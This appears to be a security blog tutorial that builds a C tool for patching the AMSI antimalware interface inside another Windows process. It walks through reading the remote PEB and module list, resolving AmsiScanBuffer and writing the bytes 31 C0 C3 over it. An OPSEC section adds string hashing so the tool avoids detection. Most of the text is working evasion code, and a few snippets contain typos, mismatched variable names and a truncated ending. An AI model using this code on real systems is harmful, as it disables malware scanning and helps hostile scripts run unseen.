AMSI Module Remote In-Memory Patch
0x00 Abstract
The 12th Jun 2019 I wrote a paper about the Anti-Malware Scan Interface technology. At this time, the objective was to dig into the AMSI internals in order to, firstly, understand how the technology works and, secondly, how it is possible to bypass AMSI by carrying out an in memory module function patching.This paper will not provide more information about AMSI and the patch will be the same. The reason being that a good amount of people already talked about it over the last years. Instead I will use this module in-memory patching as a case study for writing a tool in C that enumerate a remote process.
Link to the paper: https://www.contextis.com/en/blog/amsi-bypass
Source code of the tool can be found on Github: https://github.com/am0nsec/wspe/tree/master/AMSI
Demonstration: AMSI Module Remote In-Memory Patching
0x01 Remote Process Environment Block
The Process Environment Block (PEB) is a very interesting structure that contains a lot of information such as the current session ID, the base address of the image and the handle of the default heap executive object. The PEB structure is created by the kernel during process creation and is populated with data from theEPROCESS
/ KPROCESS
structures, which are kernel structures.
The structure is not fully documented by Microsoft but can be easily reverse engineered with WinDBG. The
dt
command is used to display information about a data type, in this case the PEB structure.
lkd> dt nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
+0x003 IsPackagedProcess : Pos 4, 1 Bit
+0x003 IsAppContainer : Pos 5, 1 Bit
+0x003 IsProtectedProcessLight : Pos 6, 1 Bit
+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
+0x004 Padding0 : [4] UChar
+0x008 Mutant : Ptr64 Void
+0x010 ImageBaseAddress : Ptr64 Void
+0x018 Ldr : Ptr64 _PEB_LDR_DATA
+0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
+0x028 SubSystemData : Ptr64 Void
+0x030 ProcessHeap : Ptr64 Void
+0x038 FastPebLock : Ptr64 _RTL_CRITICAL_SECTION
+0x040 AtlThunkSListPtr : Ptr64 _SLIST_HEADER
+0x048 IFEOKey : Ptr64 Void
+0x050 CrossProcessFlags : Uint4B
+0x050 ProcessInJob : Pos 0, 1 Bit
+0x050 ProcessInitializing : Pos 1, 1 Bit
+0x050 ProcessUsingVEH : Pos 2, 1 Bit
+0x050 ProcessUsingVCH : Pos 3, 1 Bit
+0x050 ProcessUsingFTH : Pos 4, 1 Bit
+0x050 ProcessPreviouslyThrottled : Pos 5, 1 Bit
+0x050 ProcessCurrentlyThrottled : Pos 6, 1 Bit
+0x050 ProcessImagesHotPatched : Pos 7, 1 Bit
+0x050 ReservedBits0 : Pos 8, 24 Bits
+0x054 Padding1 : [4] UChar
+0x058 KernelCallbackTable : Ptr64 Void
+0x058 UserSharedInfoPtr : Ptr64 Void
+0x060 SystemReserved : Uint4B
+0x064 AtlThunkSListPtr32 : Uint4B
+0x068 ApiSetMap : Ptr64 Void
+0x070 TlsExpansionCounter : Uint4B
+0x074 Padding2 : [4] UChar
+0x078 TlsBitmap : Ptr64 Void
+0x080 TlsBitmapBits : [2] Uint4B
+0x088 ReadOnlySharedMemoryBase : Ptr64 Void
+0x090 SharedData : Ptr64 Void
+0x098 ReadOnlyStaticServerData : Ptr64 Ptr64 Void
+0x0a0 AnsiCodePageData : Ptr64 Void
+0x0a8 OemCodePageData : Ptr64 Void
+0x0b0 UnicodeCaseTableData : Ptr64 Void
+0x0b8 NumberOfProcessors : Uint4B
+0x0bc NtGlobalFlag : Uint4B
+0x0c0 CriticalSectionTimeout : _LARGE_INTEGER
+0x0c8 HeapSegmentReserve : Uint8B
+0x0d0 HeapSegmentCommit : Uint8B
+0x0d8 HeapDeCommitTotalFreeThreshold : Uint8B
+0x0e0 HeapDeCommitFreeBlockThreshold : Uint8B
+0x0e8 NumberOfHeaps : Uint4B
+0x0ec MaximumNumberOfHeaps : Uint4B
+0x0f0 ProcessHeaps : Ptr64 Ptr64 Void
+0x0f8 GdiSharedHandleTable : Ptr64 Void
+0x100 ProcessStarterHelper : Ptr64 Void
+0x108 GdiDCAttributeList : Uint4B
+0x10c Padding3 : [4] UChar
+0x110 LoaderLock : Ptr64 _RTL_CRITICAL_SECTION
+0x118 OSMajorVersion : Uint4B
+0x11c OSMinorVersion : Uint4B
+0x120 OSBuildNumber : Uint2B
+0x122 OSCSDVersion : Uint2B
+0x124 OSPlatformId : Uint4B
+0x128 ImageSubsystem : Uint4B
+0x12c ImageSubsystemMajorVersion : Uint4B
+0x130 ImageSubsystemMinorVersion : Uint4B
+0x134 Padding4 : [4] UChar
+0x138 ActiveProcessAffinityMask : Uint8B
+0x140 GdiHandleBuffer : [60] Uint4B
+0x230 PostProcessInitRoutine : Ptr64 void
+0x238 TlsExpansionBitmap : Ptr64 Void
+0x240 TlsExpansionBitmapBits : [32] Uint4B
+0x2c0 SessionId : Uint4B
+0x2c4 Padding5 : [4] UChar
+0x2c8 AppCompatFlags : _ULARGE_INTEGER
+0x2d0 AppCompatFlagsUser : _ULARGE_INTEGER
+0x2d8 pShimData : Ptr64 Void
+0x2e0 AppCompatInfo : Ptr64 Void
+0x2e8 CSDVersion : _UNICODE_STRING
+0x2f8 ActivationContextData : Ptr64 _ACTIVATION_CONTEXT_DATA
+0x300 ProcessAssemblyStorageMap : Ptr64 _ASSEMBLY_STORAGE_MAP
+0x308 SystemDefaultActivationContextData : Ptr64 _ACTIVATION_CONTEXT_DATA
+0x310 SystemAssemblyStorageMap : Ptr64 _ASSEMBLY_STORAGE_MAP
+0x318 MinimumStackCommit : Uint8B
+0x320 SparePointers : [4] Ptr64 Void
+0x340 SpareUlongs : [5] Uint4B
+0x358 WerRegistrationData : Ptr64 Void
+0x360 WerShipAssertPtr : Ptr64 Void
+0x368 pUnused : Ptr64 Void
+0x370 pImageHeaderHash : Ptr64 Void
+0x378 TracingFlags : Uint4B
+0x378 HeapTracingEnabled : Pos 0, 1 Bit
+0x378 CritSecTracingEnabled : Pos 1, 1 Bit
+0x378 LibLoaderTracingEnabled : Pos 2, 1 Bit
+0x378 SpareTracingBits : Pos 3, 29 Bits
+0x37c Padding6 : [4] UChar
+0x380 CsrServerReadOnlySharedMemoryBase : Uint8B
+0x388 TppWorkerpListLock : Uint8B
+0x390 TppWorkerpList : _LIST_ENTRY
+0x3a0 WaitOnAddressHashTable : [128] Ptr64 Void
+0x7a0 TelemetryCoverageHeader : Ptr64 Void
+0x7a8 CloudFileFlags : Uint4B
+0x7ac CloudFileDiagFlags : Uint4B
+0x7b0 PlaceholderCompatibilityMode : Char
+0x7b1 PlaceholderCompatibilityModeReserved : [7] Char
+0x7b8 LeapSecondData : Ptr64 _LEAP_SECOND_DATA
+0x7c0 LeapSecondFlags : Uint4B
+0x7c0 SixtySecondEnabled : Pos 0, 1 Bit
+0x7c0 Reserved : Pos 1, 31 Bits
+0x7c4 NtGlobalFlag2 : Uint4B
lkd>
Windows APIs are just pulling data out of the PEB structure. For example, version helper functions are pulling OSMajorVersion
and OSMinorVersion
. In a local process this is fairly easy to get access to the PEB as the pointer to the PEB structure is stored into the GS
register at offset 0x60
for x64 architecture and from the FS
register at offset 0x30
for x86 architecture. It is also possible to get the PEB from the ProcessEnvironmentBlock
field of the Thread Environment Block (TEB) structure. In the same fashion as the PEB, the pointer to the structure is stored in the GS
register at offset 0x30
for x64 architecture and in the FS
register at offset 0x16
for x86 architecture.
The
__readgsqword
and __readfsdword
intrinsic function can be invoked to get a pointer to the TEB.
#if _WIN64
PTEB g_pCurrentTeb = (PTEB)__readgsqword(0x30);
#else
PTEB g_pCurrentTeb = (PTEB)__readfsdword(0x16);
#endif
PPEB g_pCurrentPeb = g_pCurrentTeb->ProcessEnvironmentBlock;
if (!g_pCurrentPeb || g_pCurrentPeb->OSMajorVersion != 0xA) {
wprintf(L"[-] This program is only supported by Windows 10 and greater.\n\n");
return 0x1;
}
In order to get the PEB from a remote process, this require more steps as information need to be queried from the remote process. First step is to get a handle to the process. In Windows, as it is not possible from userland code to directly access objects, handles are used as reference to an object, in this case a process is a kernel objects. From user mode, the OpenProcess function can be invoked to get an handle to a process. When requesting a handle to an object, access flags have to be provided. These access flags will be checked against the security descriptor of the object and will subsequently dictate which actions are allowed for the object.
The process ID, which is the real identifier of a process (image name is not), can be used in conjunction with the OpenProcess function to get a handle to the target process.
DWORD dwRemoteProcessId = _wtoi(argv[1]);
HANDLE hRemoteProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwRemoteProcessId);
if (hRemoteProcess == INVALID_HANDLE_VALUE) {
wprintf(L"[-] Error while getting a HANDLE to the remote process: %d\n\n", g_pCurrentTeb->LastErrorValue);
return 0x01;
}
The PROCESS_QUERY_LIMITED_INFORMATION
, PROCESS_VM_OPERATION
, PROCESS_VM_READ
and PROCESS_VM_WRITE
access flags are set in order to be able to, respectively:
- Get basic information from the target process;
- Perform operations with the virtual private memory of the target process;
- Read memory from the target process; and
- Write to memory of the target process.
INVALID_HANDLE_VALUE
), it can be used with the NtQueryInformationProcess native function from the ntdll.dll
module to get more information about the process. Address of the function can be found by using the GetProcAddress function from the kernel32.dll
module.#
HRESULT (NTAPI* NtQueryInformationProcess)(HANDLE, ULONG, PVOID, ULONG, PULONG) = NULL;
if (NtQueryInformationProcess == 0x0) {
HMODULE hModule = LoadLibrary(L"NTDLL.DLL");
NtQueryInformationProcess = GetProcAddress(hModule, "NtQueryInformationProcess");
}
The function can then be invoked with ProcessBasicInformation
(0) as second parameter. This will return the PROCESS_BASIC_INFORMATION structure.
PROCESS_BASIC_INFORMATION BasicInformation ;
ULONG lBytesWritten = 0;
NtQueryInformationProcess(hRemoteProcess, 0, &BasicInformation , sizeof(PROCESS_BASIC_INFORMATION), &lBytesWritten);
if (lBytesWritten != sizeof(PROCESS_BASIC_INFORMATION)) {
wprintf(L"[-] Something went wrong will gathering remote process basic information: %d\n\n", g_pCurrentTeb->LastErrorValue);
return 0x01;
}
The prototype of the PROCESS_BASIC_INFORMATION
structure is as follows:
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
PVOID UniqueProcessId;
PVOID InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;
The PebBaseAddress
field of the structure is the address to the PEB in the remote process. Because, this address as no meaning for the current running process, the ReadProcessMemory function from the kernel32.dll
module has to be used in order to remotely get the PEB structure of the target process.
PEB RemotePeb;
SIZE_T lBytesRead = 0;
ReadProcessMemory(hRemoteProcess, BasicInformation .PebBaseAddress, &RemotePeb, sizeof(PEB), &lBytesRead);
if (lBytesRead != sizeof(PEB)) {
wprintf(L"[-] Something went wrong will getting remote PEB: %d\n\n", g_pCurrentTeb->LastErrorValue);
return 0x01;
}
0x02 In-Memory Loaded Modules
As shown earlier, the PEB structure has a lot of interesting information, another one of them is the address to thePEB_LDR_DATA
structure at offset 0x18
for x64 architecture and offset 0x0c
for x86 architecture.
lkd> dt nt!_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr64 Void
+0x010 InLoadOrderModuleList : _LIST_ENTRY
+0x020 InMemoryOrderModuleList : _LIST_ENTRY
+0x030 InInitializationOrderModuleList : _LIST_ENTRY
+0x040 EntryInProgress : Ptr64 Void
+0x048 ShutdownInProgress : UChar
+0x050 ShutdownThreadId : Ptr64 Void
lkd>
The prototype of the PEB_LDR_DATA
structure is as follows:
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
Based on the above, to read the address of the PEB_LDR_DATA
structure, the following code can be used:
PPEB_LDR_DATA pLdrDataAddress;
ReadProcessMemory(hRemoteProcess, ((LPBYTE)BasicInformation.PebBaseAddress + 0x18), &pLdrDataAddress, sizeof(PPEB_LDR_DATA), &lBytesRead);
PEB_LDR_DATA LdrData;
ReadProcessMemory(hRemoteProcess, pLdrDataAddress, &LdrData, sizeof(PEB_LDR_DATA), &lBytesRead);
if (lBytesRead != sizeof(PEB_LDR_DATA)) {
wprintf(L"[-] Invalid loader data structure returned: %d\n\n", g_pCurrentTeb->LastErrorValue);
return 0x01;
}
The structure has three fields, InLoadOrderModuleList
, InMemoryOrderModuleList
and InInitializationOrderModuleList
, which are addresses to LIST_ENTRY
structure structures.
lkd> dt nt!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
lkd>
The LIST_ENTRY
structure is a doubly linked structure, in which each fields are addresses to a LDR_DATA_TABLE_ENTRY
structure. Flink
being the next entry and Blink
the previous entry.
Structure prototypes are as follows:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PACTIVATION_CONTEXT EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
There is one LDR_DATA_TABLE_ENTRY
structure for each module loaded by the process and the structure contains useful information such as the name and the base address of the module.
The following code is used to loop through all the
LDR_DATA_TABLE_ENTRY
structure and compare the BaseDllName
field with the name of the AMSI module, which is amsi.dll
. If the name match, it is possible to get the base address of the module in the memory of the target process.
PLIST_ENTRY pListEntry = (PLIST_ENTRY)((PBYTE)LdrData.InMemoryOrderModuleList.Flink - 0x10);
PLIST_ENTRY pListEntryFirstElement = pListEntry;
LPCVOID lpModuleBaseAddress = 0;
do {
LDR_DATA_TABLE_ENTRY LdrDataEntry;
ReadProcessMemory(hRemoteProcess, pListEntry, &LdrDataEntry, sizeof(LDR_DATA_TABLE_ENTRY), &lBytesRead);
if (lBytesRead != sizeof(LDR_DATA_TABLE_ENTRY)) {
wprintf(L"[-] Invalid loader data entry returned: %d\n\n", g_pCurrentTeb->LastErrorValue);
return 0x1;
}
// Get the name of the module
if (LdrDataEntry.DllBase) {
PWCHAR pLdrDataEntryName = HeapAlloc(g_pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, LdrDataEntry.BaseDllName.MaximumLength);
ReadProcessMemory(hRemoteProcess, LdrDataEntry.BaseDllName.Buffer, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, NULL);
// Check the name of the module
if (wcscmp(pLdrDataEntryName, L"amsi.dll") == 0) {
lpModuleBaseAddress = LdrDataEntry.DllBase;
}
HeapFree(g_pCurrentPeb->ProcessHeap, 0, pLdrDataEntryName);
pLdrDataEntryName = NULL;
}
if (lpModuleBaseAddress != 0)
break;
// Get next module
pListEntry = (PLIST_ENTRY)((PBYTE)LdrDataEntry.InMemoryOrderLinks.Flink - 0x10);
} while (pListEntry != pListEntryFirstElement);
if (lpModuleBaseAddress == 0) {
wprintf(L"[-] Invalid module base addreess: %d\n\n", g_pCurrentTeb->LastErrorValue);
return 0x01;
}
wprintf(L" - Module base address: 0x%016llx\n", (DWORD64)lpModuleBaseAddress);
Note that 0x10
is the size of a LIST_ENTRY
structure and is subtracted from the address to the LDR_DATA_TABLE_ENTRY
structure because the Flink
field is the first field of the structure.
Example with an arbitrary module from a arbitrary process.
lkd> dt nt!_LIST_ENTRY poi(@$peb+0x18)+0x20
[ 0x000001da`41562b10 - 0x000001da`5b8f1e40 ]
+0x000 Flink : 0x000001da`41562b10 _LIST_ENTRY [ 0x000001da`41562980 - 0x00007ffe`2b9994e0 ]
+0x008 Blink : 0x000001da`5b8f1e40 _LIST_ENTRY [ 0x00007ffe`2b9994e0 - 0x000001da`5b8f0090 ]
lkd> dt nt!_LDR_DATA_TABLE_ENTRY poi(0x000001da`41562b10 - 0x10)
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000001da`41563090 - 0x000001da`41562b00 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x000001da`415630a0 - 0x000001da`41562b10 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x000001da`415636c0 - 0x00007ffe`2b9994f0 ]
+0x030 DllBase : 0x00007ffe`2b830000 Void
+0x038 EntryPoint : (null)
+0x040 SizeOfImage : 0x1f4000
+0x048 FullDllName : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\ntdll.dll"
+0x058 BaseDllName : _UNICODE_STRING "ntdll.dll"
[..snip..]
lkd>
0x03 Find Module Function Addresses
The base address of a module is the address of the Portable Executable (PE) header of the module in memory. The header contain all the information related to the module, such as the MS-DOS header, the file header, the optional header and much more. In this case, the interesting information is theIMAGE_EXPORT_DIRECTORY
structure, which has its address located in an array of IMAGE_DATA_DIRECTORY
in the optional header. As the name implies, the export directory structure contains information about the exported data, such as functions and resources.
As mentioned, getting the export directory is not a straight forward operation and multiples steps are required. First one being to read get
IMAGE_DOS_HEADER
structure of the module from the target process.
IMAGE_DOS_HEADER ModuleImageDosHeader;
ReadProcessMemory(hRemoteProcess, lpModuleBaseAddress, &ModuleImageDosHeader, sizeof(IMAGE_DOS_HEADER), &lBytesRead);
if (ModuleImageDosHeader.e_magic != IMAGE_DOS_SIGNATURE || lBytesRead != sizeof(IMAGE_DOS_HEADER)) {
wprintf(L"[-] Invalid module DOS header: %d\n\n", g_pCurrentTeb->LastErrorValue);
return 0x01;
}
Because between the DOS header and the NT header there is the MS-DOS stub program, the last field e_lfanew
of the DOS header has the number of bytes to the next PE header. In this case the number of bytes to the NT header.
lkd> dt nt!_IMAGE_DOS_HEADER
+0x000 e_magic : Uint2B
+0x002 e_cblp : Uint2B
+0x004 e_cp : Uint2B
+0x006 e_crlc : Uint2B
+0x008 e_cparhdr : Uint2B
+0x00a e_minalloc : Uint2B
+0x00c e_maxalloc : Uint2B
+0x00e e_ss : Uint2B
+0x010 e_sp : Uint2B
+0x012 e_csum : Uint2B
+0x014 e_ip : Uint2B
+0x016 e_cs : Uint2B
+0x018 e_lfarlc : Uint2B
+0x01a e_ovno : Uint2B
+0x01c e_res : [4] Uint2B
+0x024 e_oemid : Uint2B
+0x026 e_oeminfo : Uint2B
+0x028 e_res2 : [10] Uint2B
+0x03c e_lfanew : Int4B
lkd>
The NT header embed the file header and the optional header, which are respectively the IMAGE_FILE_HEADER
and IMAGE_OPTIONAL_HEADER
structures.
lkd> dt nt!_IMAGE_NT_HEADERS64
+0x000 Signature : Uint4B
+0x004 FileHeader : _IMAGE_FILE_HEADER
+0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER64
lkd>
The interesting structure is IMAGE_OPTIONAL_HEADER
because it contains an array of IMAGE_DATA_DIRECTORY
structures.
lkd> dt nt!_IMAGE_OPTIONAL_HEADER64
+0x000 Magic : Uint2B
+0x002 MajorLinkerVersion : UChar
+0x003 MinorLinkerVersion : UChar
+0x004 SizeOfCode : Uint4B
+0x008 SizeOfInitializedData : Uint4B
+0x00c SizeOfUninitializedData : Uint4B
+0x010 AddressOfEntryPoint : Uint4B
+0x014 BaseOfCode : Uint4B
+0x018 ImageBase : Uint8B
+0x020 SectionAlignment : Uint4B
+0x024 FileAlignment : Uint4B
+0x028 MajorOperatingSystemVersion : Uint2B
+0x02a MinorOperatingSystemVersion : Uint2B
+0x02c MajorImageVersion : Uint2B
+0x02e MinorImageVersion : Uint2B
+0x030 MajorSubsystemVersion : Uint2B
+0x032 MinorSubsystemVersion : Uint2B
+0x034 Win32VersionValue : Uint4B
+0x038 SizeOfImage : Uint4B
+0x03c SizeOfHeaders : Uint4B
+0x040 CheckSum : Uint4B
+0x044 Subsystem : Uint2B
+0x046 DllCharacteristics : Uint2B
+0x048 SizeOfStackReserve : Uint8B
+0x050 SizeOfStackCommit : Uint8B
+0x058 SizeOfHeapReserve : Uint8B
+0x060 SizeOfHeapCommit : Uint8B
+0x068 LoaderFlags : Uint4B
+0x06c NumberOfRvaAndSizes : Uint4B
+0x070 DataDirectory : [16] _IMAGE_DATA_DIRECTORY
lkd>
Each element of the array is a IMAGE_DATA_DIRECTORY
structure, which has two fields. The structure has the relative virtual address (RVA) and size of another structure with more information about the module. For example, the first element (index 0) is has the RVA to the IMAGE_EXPORT_DIRECTORY
structure and the third element (index 2) has the RVA to the IMAGE_RESOURCE_DIRECTORY
structure. In total there is 16 elements (max index being 15).
lkd> dt nt!_IMAGE_DATA_DIRECTORY
+0x000 VirtualAddress : Uint4B
+0x004 Size : Uint4B
lkd>
In this case, the first element of the array is the one that is needed as it provide the RVA of the IMAGE_EXPORT_DIRECTORY
structure. The structure is defined as follows:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Based on the above, the following code can be used to get the IMAGE_EXPORT_DIRECTORY
structure of the module from the target process.
IMAGE_EXPORT_DIRECTORY ModuleExportDirectory;
PIMAGE_DATA_DIRECTORY pDataDirectory = ModuleImageNtHeaders.OptionalHeader.DataDirectory
ReadProcessMemory(hRemoteProcess, ((PBYTE)lpModuleBaseAddress + pDataDirectory[0].VirtualAddress), &ModuleExportDirectory, pDataDirectory[0].Size, &lBytesRead);
if (lBytesRead != pDataDirectory[0].Size) {
wprintf(L"[-] Invalid export directory returned: %d\n\n", g_pCurrentTeb->LastErrorValue);
return 0x01;
}
The last three fields, AddressOfFunctions
, AddressOfNames
and AddressOfNameOrdinals
are arrays to the functions’ address, the functions’ name and the functions’ ordinal. Therefore, all three arrays can be parsed to find the address of the module function that need to be patched. In this case: AmsiScanBuffer
.
PDWORD aAddressOfFunctions = (PDWORD)((PBYTE)lpModuleBaseAddress + ModuleExportDirectory.AddressOfFunctions);
PDWORD aAddressOfNames = (PDWORD)((PBYTE)lpModuleBaseAddress + ModuleExportDirectory.AddressOfNames);
PWORD aAddressOfNameOrdinales = (PWORD)((PBYTE)lpModuleBaseAddress + ModuleExportDirectory.AddressOfNameOrdinals);
LPVOID lpFunctionAddress = 0;
for (WORD cx = 0; cx < ModuleExportDirectory.NumberOfNames; cx++) {
DWORD dwAddressOfNamesValue = 0;
ReadProcessMemory(hRemoteProcess, aAddressOfNames + cx, &dwAddressOfNamesValue, sizeof(DWORD), NULL);
PBYTE pFunctionName = HeapAlloc(pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, MAX_PATH);
ReadProcessMemory(hRemoteProcess, (PBYTE)lpModuleBaseAddress + dwAddressOfNamesValue, pFunctionName, MAX_PATH, NULL);
if (strcmp(pFunctionName , "AmsiScanBuffer") == 0) {
WORD wFunctionOrdinal = 0;
ReadProcessMemory(hRemoteProcess, aAddressOfNameOrdinales + cx, &wFunctionOrdinal, sizeof(WORD), &lBytesRead);
if (lBytesRead != sizeof(WORD)) {
wprintf(L"[-] Error while getting the ordinal of the function");
return 0x1;
}
DWORD dwFunctionAddressOffset = 0;
ReadProcessMemory(hRemoteProcess, aAddressOfFunctions + wFunctionOrdinal, &dwFunctionAddressOffset, sizeof(DWORD), &lBytesRead);
if (lBytesRead != sizeof(DWORD)) {
wprintf(L"[-] Error while getting the address of the function");
return 0x1;
}
lpFunctionAddress = (PBYTE)lpModuleBaseAddress + dwFunctionAddressOffset;
}
HeapFree(pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, pFunctionName);
pFunctionName = NULL;
if (lpFunctionAddress != 0)
break;
}
wprintf(L" - Function address: 0x%016llx\n", (DWORD64)lpFunctionAddress);
0x04 Patching the Module Function
Knowing the address of the module function in the target memory, it is possible to inject the patch by invoking the WriteProcessMemory function from thekernel32.dll
module.
SIZE_T lWrittenBytes = 0;
BYTE patch[] = { 0x31, 0xC0, 0xC3 };
WriteProcessMemory(hRemoteProcess, lpFunctionAddress, (LPCVOID)&patch, (sizeof(BYTE) * 3), &lWrittenBytes);
Further information about the patch can be found in the original paper: https://www.contextis.com/en/blog/amsi-bypass
0x05 OPSEC Considerations
There is few things that can be improved, the first one being the high number of read operations in the virtual private memory of the target process. Something like mapping a big chunk of data and parsing it in the local process might be stealthier.Second thing is that the program has the following hardcoded strings:
amsi.dll
and AmsiScanBuffer
. Static analysis of the program might result in an alert due to their presence in the code as this is well known indicator of AMSI tempering. Therefore, using function hashing is preferred.
Example of function that can be used to get the hash of an ASCII string.
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x77347734;
INT c;
while (c = *str++)
dwHash = ((dwHash << data-preserve-html-node="true" 0x5) + dwHash) + c;
return dwHash;
}
Then instead of comparing the name of the module with amsi.dll
, this can be compared with a hash previously computed. For example:
#define MODULE_NAME_HASH 0x7a41ff5c4c483108
PWCHAR pLdrDataEntryName = HeapAlloc(g_pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, LdrDataEntry.BaseDllName.MaximumLength);
ReadProcessMemory(hRemoteProcess, LdrDataEntry.BaseDllName.Buffer, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, NULL);
// Convert from Unicode to ASCII
INT size = WideCharToMultiByte(CP_ACP, 0, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, NULL, 0, NULL, NULL);
PBYTE pLdrDataEntryNameAscii = HeapAlloc(g_pCurrentPeb->ProcessHeap, 0, size + 1);
size = WideCharToMultiByte(CP_ACP, 0, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, pLdrDataEntryNameAscii, size, NULL, NULL);
// Check the name of the module
if (MODULE_NAME_HASH == djb2(pLdrDataEntryNameAscii)) {
lpModuleBaseAddress = LdrDataEntry.DllBase;
}
break